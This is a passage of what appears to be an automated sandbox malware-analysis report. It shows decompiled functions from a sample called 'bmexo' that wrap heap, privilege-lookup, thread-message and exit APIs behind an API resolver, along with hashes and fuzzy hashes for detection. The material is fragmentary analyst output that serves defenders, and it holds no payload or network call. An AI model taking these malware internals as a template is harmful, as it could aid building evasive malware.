				int _t14;
				long _t21;
				intOrPtr* _t25;
				void* _t26;
				void* _t30;

				_t30 = __eflags;
				_v68 = 0;
				E0041BF80( &_v67, 0, 0x3f);
				E0041CB60( &_v68, 3);
				_t12 = E0040A140(_t30, _a4 + 0x20,  &_v68); // executed
				_t13 = E00415AA0( &_v68, _a4 + 0x20, _t12, 0, 0, 0xc4e7b6d6);
				_t25 = _t13;
				if(_t25 != 0) {
					_t21 = _a8;
					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					_t32 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t25(_t21, 0x8003, _t26 + (E004098A0(_t32, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x00407680
0x0040768f
0x00407693
0x0040769e
0x004076ae
0x004076be
0x004076c3
0x004076ca
0x004076cd
0x004076da
0x004076dc
0x004076de
0x004076fb
0x004076fb
0x00000000
0x004076fd
0x00407702

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004076DA

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: e682585c6d42a928553e758ccfb2ccbbca61c78b357324a4b18dd2d6fca10666
Instruction ID: b49a75ff1ff2acd002f36703245cffc08f167651a8ee5295d5347c910167830d
Opcode Fuzzy Hash: e682585c6d42a928553e758ccfb2ccbbca61c78b357324a4b18dd2d6fca10666
Instruction Fuzzy Hash: 00018831A8022877E720A6959C43FFE776C9F45B54F044119FB04BA1C1E6A9790546EE

Uniqueness

Uniqueness Score: -1.00%

Function 0041A5E0 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041A5E0(intOrPtr _a4, void* _a8, long _a12, long _a16) {
				void* _t10;

				E0041AF60( *((intOrPtr*)(_a4 + 0x14)), _a4, _t7 + 0xc8c,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x34);
				_t10 = RtlAllocateHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041a5f7
0x0041a60d
0x0041a611

APIs

RtlAllocateHeap.NTDLL(00415186,?,004158FF,004158FF,?,00415186,?,?,?,?,?,00000000,00409113,?), ref: 0041A60D

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8082421df8bc89d162f2638fa4c1385792dc10d17e44cb2d46fb0fb817fbd62f
Instruction ID: 5112eb7d04df1d6e50f339e712a9d98793db7acbdec2b9c88685dfce6d12f60e
Opcode Fuzzy Hash: 8082421df8bc89d162f2638fa4c1385792dc10d17e44cb2d46fb0fb817fbd62f
Instruction Fuzzy Hash: 0EE01AB12002086BDB14DF49DC45E9737ACEF88654F118155BA085B241C530F9108AB5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A620 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041A620(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;

				_t3 = _a4 + 0xc90; // 0xc90
				E0041AF60( *((intOrPtr*)(_a4 + 0x14)), _t7, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041a62f
0x0041a637
0x0041a64d
0x0041a651

APIs

RtlFreeHeap.NTDLL(00000060,00409113,?,?,00409113,00000060,00000000,00000000,?,?,00409113,?,00000000), ref: 0041A64D

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: a6e6f41d857b18798f6d11579541f16a6a166f54801e0754a839ad98261f1417
Instruction ID: e76337afa916636dc7999d0b0cc11d2e66c0cc36247d0f50dc268ede5031f4cd
Opcode Fuzzy Hash: a6e6f41d857b18798f6d11579541f16a6a166f54801e0754a839ad98261f1417
Instruction Fuzzy Hash: 14E012B1200208ABDB14EF89DC49EA737ACEF88764F118159BA085B242C630E9208AB1

Uniqueness

Uniqueness Score: -1.00%

Function 0041A780 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041A780(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;

				E0041AF60( *((intOrPtr*)(_a4 + 0xa1c)), _a4, _t7 + 0xca8,  *((intOrPtr*)(_a4 + 0xa1c)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041a79a
0x0041a7b0
0x0041a7b4

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040D5C2,0040D5C2,00000041,00000000,?,00409185), ref: 0041A7B0

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: b6c9d2bb7c1b66bb05113664278c8ba5e33a8a1c89f8aae2c7e428828915c1da
Instruction ID: f191f6caa62469aa0aeb0b25a98ea8bb3e9aa7cd5fa1fede7adac256a7a22315
Opcode Fuzzy Hash: b6c9d2bb7c1b66bb05113664278c8ba5e33a8a1c89f8aae2c7e428828915c1da
Instruction Fuzzy Hash: 4EE01AB12002086BDB10DF49CC45EE737ADEF89664F118155BA0C57241C530E8158AB5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A660 Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A660(intOrPtr _a4, int _a8) {

				_t5 = _a4;
				E0041AF60( *((intOrPtr*)(_a4 + 0xa18)), _t5, _t5 + 0xc98,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x36);
				ExitProcess(_a8);
			}

0x0041a663
0x0041a67a
0x0041a688

APIs

ExitProcess.KERNELBASE(?,?,00000000,?,?,?), ref: 0041A688

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 1cfc6acf09b4d581fed35e39f5b9fca2d0b24bba4d46bbacac3375e597e63901
Instruction ID: 43fab5bc382f8dbf035fa71370f402dcb25f1a4f198c16d6a3d81994ba933d62
Opcode Fuzzy Hash: 1cfc6acf09b4d581fed35e39f5b9fca2d0b24bba4d46bbacac3375e597e63901
Instruction Fuzzy Hash: 70D017726002187BD620EB99CC89FD777ACDF49BA4F1580A5BA0C6B242C934BA5187E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00406EA5 Relevance: 1.3, Strings: 1, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00406EA5(void* __eax, void* __ecx, void* __edx) {

				_pop(ss);
				asm("movsd");
				return 1;
			}

0x00406ea9
0x00406eb4
0x00406ec4

Strings

@'3, xrefs: 00406EAA

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID:
String ID: @'3
API String ID: 0-1540810063
Opcode ID: 960ba21da6da5e55392697c576a86b5644a44c5be8df4fb06fecea4259f9f9d3
Instruction ID: 723d2e3db20951e9b4be51d60834d9f1d75f25b8c761883222dbd5c2e59154c3
Opcode Fuzzy Hash: 960ba21da6da5e55392697c576a86b5644a44c5be8df4fb06fecea4259f9f9d3
Instruction Fuzzy Hash: 67C08C2AE040A022C0380C4C34902F6E3A8F747121F2032E3D88CBB941C042C5D001C8

Uniqueness

Uniqueness Score: -1.00%

Function 0041730E Relevance: .0, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E0041730E(void* __fp0) {
				intOrPtr _t8;

				asm("a16 out dx, eax");
				_push(es);
				 *0x1b = _t8;
				asm("insd");
				asm("stosb");
				return 0x1b;
			}

0x0041730e
0x00417315
0x00417316
0x00417318
0x00417319
0x00417326

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb093abe361113be9425131f66226babf64f68918a8a1c3f93381d6269f2b4a3
Instruction ID: da5458df7d5afa84532e9dacf5e10b5b24371f7c4eecfd3cba32dda5b4d8bc21
Opcode Fuzzy Hash: bb093abe361113be9425131f66226babf64f68918a8a1c3f93381d6269f2b4a3
Instruction Fuzzy Hash: 14C08C32A078280ECA018CACB8004F0F7B4D64B2A1B4232A2CA08A71118822C80156E8

Uniqueness

Uniqueness Score: -1.00%

Function 009A10D0 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac83c10758ebe8d5f76978585b10c9c6dce2ba331d146511a487ba092cee0476
Instruction ID: b97e0867cf63cce6a7bd091cca7d2f61d4937398616a74d9d7050cc2a0bd1794
Opcode Fuzzy Hash: ac83c10758ebe8d5f76978585b10c9c6dce2ba331d146511a487ba092cee0476
Instruction Fuzzy Hash: E8B01272180540CBE3199718E906F5FB710FB90F00F00C93EA00781C50DA389D3CD446

Uniqueness

Uniqueness Score: -1.00%

Function 009A0060 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5d85a427470f550e29695eb19de3105b1c03314207db60bf040a26eb212f22
Instruction ID: 5a023e870da9c1ddb48dfa425d4b1b106951aaa9a6b60f468992a3f00291b547
Opcode Fuzzy Hash: 4c5d85a427470f550e29695eb19de3105b1c03314207db60bf040a26eb212f22
Instruction Fuzzy Hash: 5CB012B2100580C7E30D9714DD06B4B7210FB80F00F00893AA10B81861DB7C9A2CD45E

Uniqueness

Uniqueness Score: -1.00%

Function 009A01D4 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8778145c82cc07ced6a03fc17a8dcea4f431f55768a4b0417211ed07bf4591cb
Instruction ID: 018f436d7687ff9142db90ebed9d2f0c0dfd000868ccafab48d689f3c6447ef1
Opcode Fuzzy Hash: 8778145c82cc07ced6a03fc17a8dcea4f431f55768a4b0417211ed07bf4591cb
Instruction Fuzzy Hash: B2B01272100940C7E359A714ED46B4B7210FB80F01F00C93BA01B81851DB38AA3CDD96

Uniqueness

Uniqueness Score: -1.00%

Function 009A010C Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee2127f5049c20af2db79b3523ae30c516210f3a5483c1737df9ea5d0a06ca55
Instruction ID: 6f78205b53d22ab4e8c81d7e3ead40d6172b524c4c965a7ad5e52c730ffb8076
Opcode Fuzzy Hash: ee2127f5049c20af2db79b3523ae30c516210f3a5483c1737df9ea5d0a06ca55
Instruction Fuzzy Hash: B8B01273104D40C7E3099714DD16F4FB310FB90F02F00893EA00B81850DA38A92CC846

Uniqueness

Uniqueness Score: -1.00%

Function 009A1148 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1a4eb0b16b3dbbf7110758f456c9aa6f179838dd1f90225a28a8369ad29a59d
Instruction ID: 165250f8074bc0ef9cdc504fa449021ea13c8322197c03fc884fef66fc1cad38
Opcode Fuzzy Hash: a1a4eb0b16b3dbbf7110758f456c9aa6f179838dd1f90225a28a8369ad29a59d
Instruction Fuzzy Hash: 23B01272140580C7E31D9718D906B5B7610FB80F00F008D3AA04781CA1DBB89A2CE44A

Uniqueness

Uniqueness Score: -1.00%

Function 0099F8CC Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33242f20aaab27225aff268df6c25d5fe4c2b5540d13ace685107ef1cdf40795
Instruction ID: b608c8617bc096b37df9be2f0bc93e64f466faa20b7dbfb3ee59c54b4bfc8c85
Opcode Fuzzy Hash: 33242f20aaab27225aff268df6c25d5fe4c2b5540d13ace685107ef1cdf40795
Instruction Fuzzy Hash: EBB01275100540C7F304D704D905F4AB311FBD0F04F40893AE40786591D77EAD28C697

Uniqueness

Uniqueness Score: -1.00%

Function 0099F938 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f2cab816673a0835cc858cab12777882f58cc76e03a07139f76655cd686d1a0
Instruction ID: d523cc507bde657408e54325c2dcaf12b60df831943b7985b4c6fe4931788f26
Opcode Fuzzy Hash: 4f2cab816673a0835cc858cab12777882f58cc76e03a07139f76655cd686d1a0
Instruction Fuzzy Hash: FCB0927220194087E2099B04D905B477251EBC0B01F408934A50646590DB399928D947

Uniqueness

Uniqueness Score: -1.00%

Function 009A1930 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24bb0b37ea7353fce174200a7558970e7d293f02c0796de48d820b1db3e8008e
Instruction ID: 3aeeca65ea1aaf37b62c9893cb2d02334d47a3b29990fed3fb0e6cbc500f1d8d
Opcode Fuzzy Hash: 24bb0b37ea7353fce174200a7558970e7d293f02c0796de48d820b1db3e8008e
Instruction Fuzzy Hash: 52B01272100940C7E34AA714DE07B8BB210FBD0F01F00893BA04B85D50D638A92CC546

Uniqueness

Uniqueness Score: -1.00%

Function 0099FAB8 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction ID: c22cab920426f99211259bec297b66dc94c7f77789dfa39603ac798b5fdced38
Opcode Fuzzy Hash: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction Fuzzy Hash: 66B01272100544C7E349B714D906B8B7210FF80F00F00893AA00782861DB389A2CE996

Uniqueness

Uniqueness Score: -1.00%

Function 0099FA20 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd081996be218738afd9aebd029b97e59d15eb89e01646829fdeee62bde327fa
Instruction ID: 9b5f4fb9875c6876c932e4128e9800c708acc4d40f0b969179b44b3e8b2884d0
Opcode Fuzzy Hash: dd081996be218738afd9aebd029b97e59d15eb89e01646829fdeee62bde327fa
Instruction Fuzzy Hash: 4FB01272100580C7E30D9714D90AB4B7210FB80F00F00CD3AA00781861DB78DA2CD45A

Uniqueness

Uniqueness Score: -1.00%

Function 0099FA50 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a404d463d6f8697e12459a80a2071a15e1bd5ec6cf7fed7c99dd07a5c51de8f6
Instruction ID: 2cae8b11bd858d750de1a79d340ce6dfe3ec44f87311ce0e8d0be64a47f0ebf6
Opcode Fuzzy Hash: a404d463d6f8697e12459a80a2071a15e1bd5ec6cf7fed7c99dd07a5c51de8f6
Instruction Fuzzy Hash: 9BB01272100544C7E349A714DA07B8B7210FB80F00F008D3BA04782851DFB89A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 0099FBE8 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c324cfac0bc47b069c1788d5b946c83edf7c28d4d9dcf1ed0d5a02e7884c4d21
Instruction ID: 9452a8d0b0f104eb9e4922b1c8778681c83a3ee0f3d85b1ffb0a7dc5c1b1eaf2
Opcode Fuzzy Hash: c324cfac0bc47b069c1788d5b946c83edf7c28d4d9dcf1ed0d5a02e7884c4d21
Instruction Fuzzy Hash: 9AB01272100640C7E349A714DA0BB5B7210FB80F00F00893BE00781852DF389A2CD986

Uniqueness

Uniqueness Score: -1.00%

Function 0099FB50 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
Instruction ID: 24e1bc86294fbd7a1654c33a96a754a721993c998c3fcb69f8e89524a52cb594
Opcode Fuzzy Hash: 445a353fbf322f74478a6659fdc04cf8623378f6e443218e16a25411f5af12d5
